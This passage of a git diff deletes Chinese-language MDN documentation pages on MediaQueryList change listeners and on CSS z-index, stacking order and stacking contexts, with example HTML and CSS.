一旦创建了媒体查询列表,你就可以通过检查它的 matches 属性来获取相应的查询结果,上述属性会直接返回查询结果:

- -
if (mediaQueryList.matches) {
-  /* 设备的旋转方向为纵向 portrait */
-} else {
-  /* 设备的旋转方向不是纵向,也就是横向 landscape */
-}
-
- -

接收查询提醒

- -

如果你需要持续观察查询结果值的变化情况,那么,注册一个监听器比手动检查查询结果要高效很多。要注册监听器,只要在 {{domxref("MediaQueryList")}} 对象上使用 addListener() 方法,并使用一个回调函数作为其参数。这样,就通过实现 {{domxref("MediaQueryListListener")}} 接口指定了一个监听器。每当查询结果发生变化,比如从 true 变为 false 时,就会调用一遍传入的回调函数。

- -
// 创建查询列表
-const mediaQueryList = window.matchMedia("(orientation: portrait)");
-
-// 定义回调函数
-function handleOrientationChange(mql) {
-  // ...
-}
-
-// 先运行一次回调函数
-handleOrientationChange(mediaQueryList);
-
-// 为查询列表注册监听器,同时将回调函数传给监听器
-mediaQueryList.addListener(handleOrientationChange);
-
- -

上述代码创建了一个屏幕方向的测试查询列表 mediaQueryList,并且添加了事件监听器。需要注意的是,当我们添加监听后,我们其实直接调用了一次监听。这会让我们的监听器以目前设备的屏幕方向来初始化判定代码。换句话说,如果我们代码中设定设备处于竖屏模式,而实际上它在启动时处于横屏模式,那么我们在后面的判定就会出现矛盾。

- -

然后,我们就能在 handleOrientationChange() 方法中检查查询结果,比如,可以设置屏幕方向变化后的逻辑处理代码:

- -
function handleOrientationChange(evt) {
-  if (evt.matches) {
-    /* The viewport is currently in portrait orientation */
-  } else {
-    /* The viewport is currently in landscape orientation */
-  }
-}
-
- -

终止查询通知

- -

如果不再需要再接收媒体查询值变化的相关通知,那么,只要调用 MediaQueryListremoveListener() 方法,就可以方便地移除监听:

- -
mediaQueryList.removeListener(handleOrientationChange);
-
- -

浏览器兼容性

- -

MediaQueryList 接口

- - - -

{{Compat("api.MediaQueryList")}}

- -

另见

- -
    -
  • Media queries
  • -
  • {{domxref("window.matchMedia()") }}
  • -
  • {{domxref("MediaQueryList") }}
  • -
  • {{domxref("MediaQueryListListener") }}
  • -
diff --git a/files/zh-cn/web/guide/css/understanding_z_index/adding_z-index/index.html b/files/zh-cn/web/guide/css/understanding_z_index/adding_z-index/index.html deleted file mode 100644 index acd3b034ce..0000000000 --- a/files/zh-cn/web/guide/css/understanding_z_index/adding_z-index/index.html +++ /dev/null @@ -1,158 +0,0 @@ ---- -title: Adding z-index -slug: Web/Guide/CSS/Understanding_z_index/Adding_z-index -translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index ---- -

« CSS «理解z-index

-

使用 {{ cssxref("z-index") }}

-

在第一个例子 Stacking without z-index中, 我们描述了默认的摆放顺序。 当你需要指定不同的排列顺序时, 只要给元素指定一个z-index的数值就可以了。 

-

 

-

该属性必须是整数(正负均可), 它体现了元素在z轴的位置。 如果你对z轴体系不了解, 你也可以把它理解成“层叠”, 每个层都有一个顺序数, 顺序数大的层在上面, 小的在下面。 

-

注意!z-index只对指定了 positioned属性的元素有效。

-
    -
  • 底层: 距离观察者最远
  • -
  • ...
  • -
  •  -3 层
  • -
  •  -2 层
  • -
  •  -1 层
  • -
  •  0 层 默认层
  • -
  •  1 层
  • -
  •  2 层
  • -
  •  3 层
  • -
  • ...
  • -
  • 顶部: 最接近观察者
  • -
-
-

注释:

-
    -
  • 当没有指定z-index的时候, 所有元素都在会被渲染在默认层(0层)
  • -
  • 当多个元素的z-index属性相同的时候(在同一个层里面),那么将按照 Stacking without z-index 中描述的规则进行布局。 
  • -
-
-

在下一个例子中, 所有的层都是用z-index进行排序的。 元素div#5 的z-index无效, 因为他没有被指定position属性。 

-

Example of stacking rules modified using z-index

-

Example source code

-
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
-"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-<html>
-<head><style type="text/css">
-
-div {
-   opacity: 0.7;
-   font: 12px Arial;
-}
-
-span.bold { font-weight: bold; }
-
-#normdiv {
-   z-index: 8;
-   height: 70px;
-   border: 1px dashed #999966;
-   background-color: #ffffcc;
-   margin: 0px 50px 0px 50px;
-   text-align: center;
-}
-
-#reldiv1 {
-   z-index: 3;
-   height: 100px;
-   position: relative;
-   top: 30px;
-   border: 1px dashed #669966;
-   background-color: #ccffcc;
-   margin: 0px 50px 0px 50px;
-   text-align: center;
-}
-
-#reldiv2 {
-   z-index: 2;
-   height: 100px;
-   position: relative;
-   top: 15px;
-   left: 20px;
-   border: 1px dashed #669966;
-   background-color: #ccffcc;
-   margin: 0px 50px 0px 50px;
-   text-align: center;
-}
-
-#absdiv1 {
-   z-index: 5;
-   position: absolute;
-   width: 150px;
-   height: 350px;
-   top: 10px;
-   left: 10px;
-   border: 1px dashed #990000;
-   background-color: #ffdddd;
-   text-align: center;
-}
-
-#absdiv2 {
-   z-index: 1;
-   position: absolute;
-   width: 150px;
-   height: 350px;
-   top: 10px;
-   right: 10px;
-   border: 1px dashed #990000;
-   background-color: #ffdddd;
-   text-align: center;
-}
-
-</style></head>
-
-<body>
-
-<br /><br />
-
-<div id="absdiv1">
-   <br /><span class="bold">DIV #1</span>
-   <br />position: absolute;
-   <br />z-index: 5;
-</div>
-
-<div id="reldiv1">
-   <br /><span class="bold">DIV #2</span>
-   <br />position: relative;
-   <br />z-index: 3;
-</div>
-
-<div id="reldiv2">
-   <br /><span class="bold">DIV #3</span>
-   <br />position: relative;
-   <br />z-index: 2;
-</div>
-
-<div id="absdiv2">
-   <br /><span class="bold">DIV #4</span>
-   <br />position: absolute;
-   <br />z-index: 1;
-</div>
-
-<div id="normdiv">
-   <br /><span class="bold">DIV #5</span>
-   <br />no positioning
-   <br />z-index: 8;
-</div>
-
-</body></html>
-
-

See also

- -
-

Original Document Information

- -
-

{{ languages( { "fr": "fr/CSS/Comprendre_z-index/Ajout_de_z-index" } ) }}

diff --git a/files/zh-cn/web/guide/css/understanding_z_index/index.html b/files/zh-cn/web/guide/css/understanding_z_index/index.html deleted file mode 100644 index 19f49650d1..0000000000 --- a/files/zh-cn/web/guide/css/understanding_z_index/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: 理解CSS的 z-index属性 -slug: Web/Guide/CSS/Understanding_z_index -tags: - - CSS - - Guide -translation_of: Web/CSS/CSS_Positioning/Understanding_z_index ---- -

{{cssref}}

- -

通常情况下,HTML页面可以被认为是二维的,因为文本,图像和其他元素被排列在页面上而不重叠。在这种情况下,只有一个渲染进程,所有元素都知道其他元素所占用的空间。 {{cssxref("z-index")}}属性可让你在渲染内容时调整对象分层的顺序。

- -
-

在 CSS 2.1 中, 所有的盒模型元素都处于三维坐标系中。 除了我们常用的横坐标和纵坐标, 盒模型元素还可以沿着“z 轴”层叠摆放, 当他们相互覆盖时, z 轴顺序就变得十分重要。

-
- -

(参见 CSS 2.1 Section 9.9.1 - Layered presentation)

- -

这意味着其实 CSS 允许你在现有的渲染引擎上层叠的摆放盒模型元素。 所有的层都可以用一个整数( z 轴顺序)来表明当前层在 z 轴的位置。 数字越大, 元素越接近观察者。Z 轴顺序用 CSS 的 {{ cssxref("z-index") }} 属性来指定。

- -

使用 z-index 很简单: 给它指定一个整数值即可。 然而,在层叠比较复杂的 HTML 元素上使用 z-index 时,结果可能让人觉得困惑,甚至不可思议。 这是由复杂的元素排布规则导致的。  更多细节请参见  CSS-2.1 Appendix E 。

- -

本文将通过一些简单的例子来解释这些规则。

- -
    -
  1. Stacking without z-index : 默认的摆放规则,即不含有 z-index 属性时
  2. -
  3. Stacking and float : 浮动元素的处理方式
  4. -
  5. Adding z-index : 使用 z-index 来改变堆放顺序
  6. -
  7. The stacking context : 内容堆放注意事项
  8. -
  9. Stacking context example 1 : 在两层元素的第二层上使用 z-index
  10. -
  11. Stacking context example 2 : 在两层元素的所有层上使用 z-index
  12. -
  13. Stacking context example 3 : 在三层元素的第二层上使用 z-index
  14. -
- -
-

 

- -

原始文档信息

- -

 

- - -
diff --git a/files/zh-cn/web/guide/css/understanding_z_index/stacking_and_float/index.html b/files/zh-cn/web/guide/css/understanding_z_index/stacking_and_float/index.html deleted file mode 100644 index 9312c1759d..0000000000 --- a/files/zh-cn/web/guide/css/understanding_z_index/stacking_and_float/index.html +++ /dev/null @@ -1,158 +0,0 @@ ---- -title: 层叠与浮动 -slug: Web/Guide/CSS/Understanding_z_index/Stacking_and_float -translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float ---- -

« CSS « 理解 CSS 中的 z-index

- -

层叠与浮动

- -

对于浮动的块元素来说,层叠顺序变得有些不同。浮动块元素被放置于非定位块元素与定位块元素之间:

- -
    -
  1. 根元素的背景与边框
  2. -
  3. 位于普通流中的后代块元素按照它们在 HTML 中出现的顺序层叠
  4. -
  5. 浮动块元素
  6. -
  7. 后代中的定位元素按照它们在 HTML 中出现的顺序层叠
  8. -
- -

实际上,在接下来的例子中你会看到,非定位块元素(DIV #4)的背景与边框丝毫不会受到浮动块元素的影响,但内容却恰恰相反。出现这种情况是由于 CSS 的标准浮动行为引起的。

- -

这种行为可以通过前一章列表的改进版本来解释:

- -
    -
  1. 根元素的背景与边框
  2. -
  3. 位于普通流中的后代块元素按照它们在 HTML 中出现的顺序层叠
  4. -
  5. 浮动块元素
  6. -
  7. 常规流中的后代行内元素
  8. -
  9. 后代中的定位元素按照它们在 HTML 中出现的顺序层叠
  10. -
- -
注意: 在下面的例子中,除了非定位的那个块元素外,所有的块元素都是半透明的,以便来显示层叠顺序。如果减少非定位元素(DIV #4)的透明度,会发生很诡异的事情:该元素的背景和边框会出现在浮动块元素上方,但是仍然处于定位元素的下方。我不能确定这是规范的 bug 或是怪异的解析。(设置透明度会隐式的创建一个层叠上下文。)
- -

{{ EmbedLiveSample('该示例的源码', '563', '255', '', 'Web/Guide/CSS/Understanding_z_index/Stacking_and_float') }}

- -

该示例的源码

- -
<!DOCTYPE html>
-<html>
-<head>
-    <meta charset="UTF-8">
-    <title>Stacking and float</title>
-    <style type="text/css">
-
-    div {
-        font: 12px Arial;
-    }
-
-    span.bold { font-weight: bold; }
-
-    #absdiv1 {
-        position: absolute;
-        width: 150px;
-        height: 200px;
-        top: 10px;
-        right: 140px;
-        border: 1px dashed #990000;
-        background-color: #ffdddd;
-        text-align: center;
-    }
-
-    #normdiv {
-        /* opacity: 0.7; */
-        height: 100px;
-        border: 1px dashed #999966;
-        background-color: #ffffcc;
-        margin: 0px 10px 0px 10px;
-        text-align: left;
-    }
-
-    #flodiv1 {
-        margin: 0px 10px 0px 20px;
-        float: left;
-        width: 150px;
-        height: 200px;
-        border: 1px dashed #009900;
-        background-color: #ccffcc;
-        text-align: center;
-    }
-
-    #flodiv2 {
-        margin: 0px 20px 0px 10px;
-        float: right;
-        width: 150px;
-        height: 200px;
-        border: 1px dashed #009900;
-        background-color: #ccffcc;
-        text-align: center;
-    }
-
-    #absdiv2 {
-        position: absolute;
-        width: 150px;
-        height: 100px;
-        top: 130px;
-        left: 100px;
-        border: 1px dashed #990000;
-        background-color: #ffdddd;
-        text-align: center;
-    }
-
-</style>
-</head>
-
-<body>
-    <br /><br />
-
-    <div id="absdiv1">
-        <br /><span class="bold">DIV #1</span>
-        <br />position: absolute;
-    </div>
-
-    <div id="flodiv1">
-        <br /><span class="bold">DIV #2</span>
-        <br />float: left;
-    </div>
-
-    <div id="flodiv2">
-        <br /><span class="bold">DIV #3</span>
-        <br />float: right;
-    </div>
-
-    <br />
-
-    <div id="normdiv">
-        <br /><span class="bold">DIV #4</span>
-        <br />no positioning
-    </div>
-
-    <div id="absdiv2">
-        <br /><span class="bold">DIV #5</span>
-        <br />position: absolute;
-    </div>
-</body>
-</html>
-
- -

相关链接

- - - -
-

原始文档信息

- - -
- -

 

diff --git a/files/zh-cn/web/guide/css/understanding_z_index/stacking_context_example_1/index.html b/files/zh-cn/web/guide/css/understanding_z_index/stacking_context_example_1/index.html deleted file mode 100644 index 59f298d269..0000000000 --- a/files/zh-cn/web/guide/css/understanding_z_index/stacking_context_example_1/index.html +++ /dev/null @@ -1,133 +0,0 @@ ---- -title: Stacking context example 1 -slug: Web/Guide/CSS/Understanding_z_index/Stacking_context_example_1 -tags: - - 理解_CSS_z-index -translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1 ---- -

« CSS « Understanding CSS z-index

- -

Stacking context 层叠上下文 例子 1

- -

先看一个基础的例子。在根元素的层叠上下文中,有两个都是相对定位且没有设置 z-index 属性的 DIV(DIV #1 和 DIV #3)。在 DIV #1 中有一个绝对定位的 DIV #2,而在 DIV #3 中有一个绝对定位的 DIV #4,DIV #2 和 DIV #4 也都没有设置 z-index 属性。

- -

现在唯一的层叠上下文就是根元素的上下文。因为没有 z-index 值,所有的元素按照出现(在 HTML 中)的顺序层叠。

- -

Stacking context example 1

- -

如果给 DIV #2 设置一个正的 z-index  值 (不能是 0 或 auto) ,那么 DIV #2 会渲染在其他所有 DIV 之上。

- -

Stacking context example 1

- -

然后如果给 DIV #4 也设置一个正的 z-index  值,且这个值比给的 DIV #2 设置的值要大,则 DIV #4  会渲染在其他所有 DIV(包括 DIV #2)之上。

- -

Stacking context example 1

- -

在这个列子中,DIV #2 和 DIV #4 不是兄弟关系(因为它们的父元素不同)。即便如此,我们也可以通过 z-index 来控制 DIV #4 和 DIV #2 的层叠关系。这是因为,DIV #1 和 DIV #3 没有设置 z-index 的值,所以它们不会创建层叠上下文。这就意味着 DIV #1 和 DIV #3 的所有内容(包括 DIV #2 和 DIV #4)都属于同一个层叠上下文(即根元素的层叠上下文)。

- -

就层叠上下文而言,DIV #1 和 DIV #3 隶属于根元素,因此层次结构如下所示:

- -
    -
  • 根层叠上下文(root stacking context) -
      -
    • DIV #2 (z-index 1)
    • -
    • DIV #4 (z-index 2)
    • -
    -
  • -
- -
注意: DIV #1 和 DIV #3 不是透明的。记住所有设置了 opacity 小于 1 的定位元素都会隐式地生成一个层叠上下文(和给元素增加一个 z-index 值的效果相同)。上述的例子是为了说明,当父元素没有生成一个层叠上下文环境的时候,各元素是怎么层叠的。
- -

Example

- -

HTML

- -
<div id="div1">
-<br /><span class="bold">DIV #1</span>
-<br />position: relative;
-   <div id="div2">
-   <br /><span class="bold">DIV #2</span>
-   <br />position: absolute;
-   <br />z-index: 1;
-   </div>
-</div>
-
-<br />
-
-<div id="div3">
-<br /><span class="bold">DIV #3</span>
-<br />position: relative;
-   <div id="div4">
-   <br /><span class="bold">DIV #4</span>
-   <br />position: absolute;
-   <br />z-index: 2;
-   </div>
-</div>
-
-</body></html>
-
- -

CSS

- -
.bold {
-    font-weight: bold;
-    font: 12px Arial;
-}
-#div1,
-#div3 {
-    height: 80px;
-    position: relative;
-    border: 1px dashed #669966;
-    background-color: #ccffcc;
-    padding-left: 5px;
-}
-#div2 {
-    opacity: 0.8;
-    z-index: 1;
-    position: absolute;
-    width: 150px;
-    height: 200px;
-    top: 20px;
-    left: 170px;
-    border: 1px dashed #990000;
-    background-color: #ffdddd;
-    text-align: center;
-}
-#div4 {
-    opacity: 0.8;
-    z-index: 2;
-    position: absolute;
-    width: 200px;
-    height: 70px;
-    top: 65px;
-    left: 50px;
-    border: 1px dashed #000099;
-    background-color: #ddddff;
-    text-align: left;
-    padding-left: 10px;
-}
- -

Result

- -

{{ EmbedLiveSample('Example', '', '', '', 'Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1') }}

- -

See also

- - - -
-

Original Document Information

- - -
diff --git a/files/zh-cn/web/guide/css/understanding_z_index/stacking_context_example_2/index.html b/files/zh-cn/web/guide/css/understanding_z_index/stacking_context_example_2/index.html deleted file mode 100644 index 3c21bef062..0000000000 --- a/files/zh-cn/web/guide/css/understanding_z_index/stacking_context_example_2/index.html +++ /dev/null @@ -1,142 +0,0 @@ ---- -title: Stacking context example 2 -slug: Web/Guide/CSS/Understanding_z_index/Stacking_context_example_2 -tags: - - CSS - - 理解css的index属性 - - 高级 -translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_2 ---- -

« CSS « 理解CSS z-index

- -

层叠上下文示例 2

- -

这是一个非常简单的例子, 但它是理解层叠上下文这个概念的关键。还是和之前的例子中一样的四个DIV,不过现在z-index属性被分配在两个水平的层次结构中。

- -

{{ EmbedLiveSample('Example_source_code', '352', '270', '', 'Web/Guide/CSS/Understanding_z_index/Stacking_context_example_2') }}

- -

可以看到现在DIV #2 (z-index: 2)在DIV #3 (z-index: 1)的上面,因为他们都属于同一个层叠上下文(根元素创建的层叠上下文),所以z-index的值决定了元素如何叠放。

- -

奇怪的是DIV #2 (z-index: 2)在DIV #4 (z-index: 10)的上面,尽管DIV #2的z-index值小于DIV #4。原因在于它们不属于同一个层叠上下文。DIV #4处于DIV #3所创建的层叠上下文中,而整个DIV #3(包含其后代元素)是在DIV #2下面的。

- -

为了更好的理解这种情况, 这里列出了层叠上下文的层次结构:

- -
    -
  • 根上下文(root stacking context) -
      -
    • DIV #2 (z-index 2)
    • -
    • DIV #3 (z-index 1) -
        -
      • DIV #4 (z-index 10)
      • -
      -
    • -
    -
  • -
- -
Note: 值得记住的是,通常HTML的层次结构和层叠上下文的层次结构是不同的。在层叠上下文的层次结构中,没有创建层叠上下文的元素同其父级处于一个层叠上下文。
- -

示例源码

- -
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
-"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-<html>
-<head><style type="text/css">
-
-div { font: 12px Arial; }
-
-span.bold { font-weight: bold; }
-
-#div2 { z-index: 2; }
-#div3 { z-index: 1; }
-#div4 { z-index: 10; }
-
-#div1,#div3 {
-   height: 80px;
-   position: relative;
-   border: 1px dashed #669966;
-   background-color: #ccffcc;
-   padding-left: 5px;
-}
-
-#div2 {
-   opacity: 0.8;
-   position: absolute;
-   width: 150px;
-   height: 200px;
-   top: 20px;
-   left: 170px;
-   border: 1px dashed #990000;
-   background-color: #ffdddd;
-   text-align: center;
-}
-
-#div4 {
-   opacity: 0.8;
-   position: absolute;
-   width: 200px;
-   height: 70px;
-   top: 65px;
-   left: 50px;
-   border: 1px dashed #000099;
-   background-color: #ddddff;
-   text-align: left;
-   padding-left: 10px;
-}
-
-
-</style></head>
-
-<body>
-
-    <br />
-
-    <div id="div1"><br />
-        <span class="bold">DIV #1</span><br />
-        position: relative;
-        <div id="div2"><br />
-            <span class="bold">DIV #2</span><br />
-            position: absolute;<br />
-            z-index: 2;
-        </div>
-    </div>
-
-    <br />
-
-    <div id="div3"><br />
-        <span class="bold">DIV #3</span><br />
-        position: relative;<br />
-        z-index: 1;
-        <div id="div4"><br />
-            <span class="bold">DIV #4</span><br />
-            position: absolute;<br />
-            z-index: 10;
-        </div>
-    </div>
-
-</body>
-</html>
-
- -

相关文章

- - - -
-

原文信息

- - -
- -

 

diff --git a/files/zh-cn/web/guide/css/understanding_z_index/stacking_context_example_3/index.html b/files/zh-cn/web/guide/css/understanding_z_index/stacking_context_example_3/index.html deleted file mode 100644 index f7d2972c7c..0000000000 --- a/files/zh-cn/web/guide/css/understanding_z_index/stacking_context_example_3/index.html +++ /dev/null @@ -1,190 +0,0 @@ ---- -title: Stacking context example 3 -slug: Web/Guide/CSS/Understanding_z_index/Stacking_context_example_3 -tags: - - CSS - - 层叠上下文 - - 理解css的z-index属性 -translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_3 ---- -

« CSS « Understanding CSS z-index

- -

层叠上下文示例 3

- -

最后一个例子展示了,在多层级的HTML结构中混合了多个定位元素且使用类选择器设置z-index属性时出现的问题。

- -

我们来看一个用多个定位的div实现的三级菜单的例子,二级菜单和三级菜单在鼠标悬停或点击其父元素时才出现,通常这样的菜单在客户端和服务端都是由脚本生成的,所以样式规则不是通过ID选择器设置而是通过类选择器设置。

- -

如果这个三级菜单有部分区域重叠,管理层叠顺序就会成为一个问题。

- -

{{ EmbedLiveSample('Example_source_code', '320', '330', '', 'Web/Guide/CSS/Understanding_z_index/Stacking_context_example_3') }}

- - - -

一级菜单仅仅是相对定位,所以没有创建层叠上下文。

- -

二级菜单相对其父元素(一级菜单)绝对定位,要使二级菜单在所有一级菜单的上方,则需要使用z-index。此时每个二级菜单都创建了一个层叠上下文,而三级菜单也处于其父元素(二级菜单)创建的上下文中。

- -

这样一来,在HTML结构中处于三级菜单后面的二级菜单,则会显示在三级菜单的上方,因为所有的二级菜单都使用了同样的z-index值,所以处于同一个层叠上下文中。

- -

为了能更好地理解这种情况,这里列出了层叠上下文的层次结构:

- -
    -
  • root stacking context -
      -
    • LEVEL #1 -
        -
      • LEVEL #2 (z-index: 1) -
          -
        • LEVEL #3
        • -
        • ...
        • -
        • LEVEL #3
        • -
        -
      • -
      • LEVEL #2 (z-index: 1)
      • -
      • ...
      • -
      • LEVEL #2 (z-index: 1)
      • -
      -
    • -
    • LEVEL #1
    • -
    • ...
    • -
    • LEVEL #1
    • -
    -
  • -
- -

可以通过移除不同级别的菜单之间的重叠,或者使用ID选择器指定独立的(不同的)z-index值,或者减少HTML的层级来解决这个问题。

- -
Note: 在源码中你会看到三级菜单和二级菜单是由一个绝对定位元素包含很多div来实现的,这种方式在需要同时定位一组元素时很有用。
- -

示例源码

- -
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
-"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-<html>
-<head><style type="text/css">
-
-div { font: 12px Arial; }
-
-span.bold { font-weight: bold; }
-
-div.lev1 {
-   width: 250px;
-   height: 70px;
-   position: relative;
-   border: 2px outset #669966;
-   background-color: #ccffcc;
-   padding-left: 5px;
-}
-
-#container1 {
-   z-index: 1;
-   position: absolute;
-   top: 30px;
-   left: 75px;
-}
-
-div.lev2 {
-   opacity: 0.9;
-   width: 200px;
-   height: 60px;
-   position: relative;
-   border: 2px outset #990000;
-   background-color: #ffdddd;
-   padding-left: 5px;
-}
-
-#container2 {
-   z-index: 1;
-   position: absolute;
-   top: 20px;
-   left: 110px;
-}
-
-div.lev3 {
-   z-index: 10;
-   width: 100px;
-   position: relative;
-   border: 2px outset #000099;
-   background-color: #ddddff;
-   padding-left: 5px;
-}
-
-</style></head>
-
-<body>
-
-<br />
-
-<div class="lev1">
-<span class="bold">LEVEL #1</span>
-
-   <div id="container1">
-
-      <div class="lev2">
-      <br /><span class="bold">LEVEL #2</span>
-      <br />z-index: 1;
-
-         <div id="container2">
-
-            <div class="lev3"><span class="bold">LEVEL #3</span></div>
-            <div class="lev3"><span class="bold">LEVEL #3</span></div>
-            <div class="lev3"><span class="bold">LEVEL #3</span></div>
-            <div class="lev3"><span class="bold">LEVEL #3</span></div>
-            <div class="lev3"><span class="bold">LEVEL #3</span></div>
-            <div class="lev3"><span class="bold">LEVEL #3</span></div>
-            <div class="lev3"><span class="bold">LEVEL #3</span></div>
-            <div class="lev3"><span class="bold">LEVEL #3</span></div>
-            <div class="lev3"><span class="bold">LEVEL #3</span></div>
-            <div class="lev3"><span class="bold">LEVEL #3</span></div>
-            <div class="lev3"><span class="bold">LEVEL #3</span></div>
-
-         </div>
-
-      </div>
-
-      <div class="lev2">
-      <br /><span class="bold">LEVEL #2</span>
-      <br />z-index: 1;
-      </div>
-
-   </div>
-</div>
-
-<div class="lev1">
-<span class="bold">LEVEL #1</span>
-</div>
-
-<div class="lev1">
-<span class="bold">LEVEL #1</span>
-</div>
-
-<div class="lev1">
-<span class="bold">LEVEL #1</span>
-</div>
-
-</body></html>
-
- -

相关文章

- - - -
-

原文信息

- - -
- -

Note: the reason the sample image looks wrong - with the second level 2 overlapping the level 3 menus - is because level 2 has opacity, which creates a new stacking context. Basically, this whole sample page is incorrect and misleading.

diff --git a/files/zh-cn/web/guide/css/understanding_z_index/stacking_without_z-index/index.html b/files/zh-cn/web/guide/css/understanding_z_index/stacking_without_z-index/index.html deleted file mode 100644 index a5aaebdc95..0000000000 --- a/files/zh-cn/web/guide/css/understanding_z_index/stacking_without_z-index/index.html +++ /dev/null @@ -1,161 +0,0 @@ ---- -title: Stacking without z-index -slug: Web/Guide/CSS/Understanding_z_index/Stacking_without_z-index -translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index ---- -

« CSS « 理解 CSS z-index

- -

不含z-index的堆叠

- -

当没有元素包含z-index属性时,元素按照如下顺序堆叠(从底到顶顺序):

- -
    -
  1. 根元素的背景和边界
  2. -
  3. 普通流(无定位)里的块元素(没有position或者position:static;)按HTML中的出现顺序堆叠
  4. -
  5. 定位元素按HTML中的出现顺序堆叠
  6. -
- -

在接下来的例子中,相对和绝对定位的块元素的大小和位置刚好说明上述堆叠规则。

- -
-

Notes:

- -
    -
  • 在一组由不含有任何z-index属性的同类元素,如例子中的定位块元素(DIV #1 至 #4),这些元素按照它们在HTML结构中出现的顺序堆叠,而不管它们的定位属性如何。
  • -
  • -

    普通流中不含有定位属性的标准块元素(DIV #5)始终先于定位元素渲染并出现在定位元素的下层,即便它们在HTML结构中出现的位置晚于定位元素也是如此。

    -
  • -
-
- -

understanding_zindex_01.png

- -

 

- -

示例

- -
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
-"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-<html>
-<head><style type="text/css">
-
-div {
-   font: 12px Arial;
-}
-
-span.bold { font-weight: bold; }
-
-#normdiv {
-   height: 70px;
-   border: 1px dashed #999966;
-   background-color: #ffffcc;
-   margin: 0px 50px 0px 50px;
-   text-align: center;
-}
-
-#reldiv1 {
-   opacity: 0.7;
-   height: 100px;
-   position: relative;
-   top: 30px;
-   border: 1px dashed #669966;
-   background-color: #ccffcc;
-   margin: 0px 50px 0px 50px;
-   text-align: center;
-}
-
-#reldiv2 {
-   opacity: 0.7;
-   height: 100px;
-   position: relative;
-   top: 15px;
-   left: 20px;
-   border: 1px dashed #669966;
-   background-color: #ccffcc;
-   margin: 0px 50px 0px 50px;
-   text-align: center;
-}
-
-#absdiv1 {
-   opacity: 0.7;
-   position: absolute;
-   width: 150px;
-   height: 350px;
-   top: 10px;
-   left: 10px;
-   border: 1px dashed #990000;
-   background-color: #ffdddd;
-   text-align: center;
-}
-
-#absdiv2 {
-   opacity: 0.7;
-   position: absolute;
-   width: 150px;
-   height: 350px;
-   top: 10px;
-   right: 10px;
-   border: 1px dashed #990000;
-   background-color: #ffdddd;
-   text-align: center;
-}
-
-</style></head>
-
-<body>
-
-<br /><br />
-
-<div id="absdiv1">
-   <br /><span class="bold">DIV #1</span>
-   <br />position: absolute;
-</div>
-
-<div id="reldiv1">
-   <br /><span class="bold">DIV #2</span>
-   <br />position: relative;
-</div>
-
-<div id="reldiv2">
-   <br /><span class="bold">DIV #3</span>
-   <br />position: relative;
-</div>
-
-<div id="absdiv2">
-   <br /><span class="bold">DIV #4</span>
-   <br />position: absolute;
-</div>
-
-<div id="normdiv">
-   <br /><span class="bold">DIV #5</span>
-   <br />no positioning
-</div>
-
-</body></html>
-
-
- -

See also

- - - -

 

- -
-

Original Document Information

- - -
- -

{{ languages( { "fr": "fr/CSS/Comprendre_z-index/Empilement_sans_z-index" } ) }}

diff --git a/files/zh-cn/web/guide/css/understanding_z_index/the_stacking_context/index.html b/files/zh-cn/web/guide/css/understanding_z_index/the_stacking_context/index.html deleted file mode 100644 index 6d96e3e198..0000000000 --- a/files/zh-cn/web/guide/css/understanding_z_index/the_stacking_context/index.html +++ /dev/null @@ -1,240 +0,0 @@ ---- -title: 层叠上下文 -slug: Web/Guide/CSS/Understanding_z_index/The_stacking_context -tags: - - Advanced - - CSS - - CSS层叠上下文 - - z-index - - 教程 -translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context ---- -
{{cssref}}
- -

我们假定用户正面向(浏览器)视窗或网页,而 HTML 元素沿着其相对于用户的一条虚构的 z 轴排开,层叠上下文就是对这些 HTML 元素的一个三维构想。众 HTML 元素基于其元素属性按照优先级顺序占据这个空间。

- -

层叠上下文

- -

在本篇之前的部分——运用 z-index,(我们认识到)某些元素的渲染顺序是由其 z-index 的值影响的。这是因为这些元素具有能够使他们形成一个层叠上下文的特殊属性

- -

文档中的层叠上下文由满足以下任意一个条件的元素形成:

- -
    -
  • 文档根元素(<html>);
  • -
  • {{cssxref("position")}} 值为 absolute(绝对定位)或  relative(相对定位)且 {{cssxref("z-index")}} 值不为 auto 的元素;
  • -
  • {{cssxref("position")}} 值为 fixed(固定定位)或 sticky(粘滞定位)的元素(沾滞定位适配所有移动设备上的浏览器,但老的桌面浏览器不支持);
  • -
  • flex ({{cssxref("flexbox")}}) 容器的子元素,且 {{cssxref("z-index")}} 值不为 auto
  • -
  • grid ({{cssxref("grid")}}) 容器的子元素,且 {{cssxref("z-index")}} 值不为 auto
  • -
  • {{cssxref("opacity")}} 属性值小于 1 的元素(参见 the specification for opacity);
  • -
  • {{cssxref("mix-blend-mode")}} 属性值不为 normal 的元素;
  • -
  • 以下任意属性值不为 none 的元素: -
      -
    • {{cssxref("transform")}}
    • -
    • {{cssxref("filter")}}
    • -
    • {{cssxref("perspective")}}
    • -
    • {{cssxref("clip-path")}}
    • -
    • {{cssxref("mask")}} / {{cssxref("mask-image")}} / {{cssxref("mask-border")}}
    • -
    -
  • -
  • {{cssxref("isolation")}} 属性值为 isolate 的元素;
  • -
  • {{cssxref("-webkit-overflow-scrolling")}} 属性值为 touch 的元素;
  • -
  • {{cssxref("will-change")}} 值设定了任一属性而该属性在 non-initial 值时会创建层叠上下文的元素(参考这篇文章);
  • -
  • {{cssxref("contain")}} 属性值为 layoutpaint 或包含它们其中之一的合成值(比如 contain: strictcontain: content)的元素。
  • -
- -

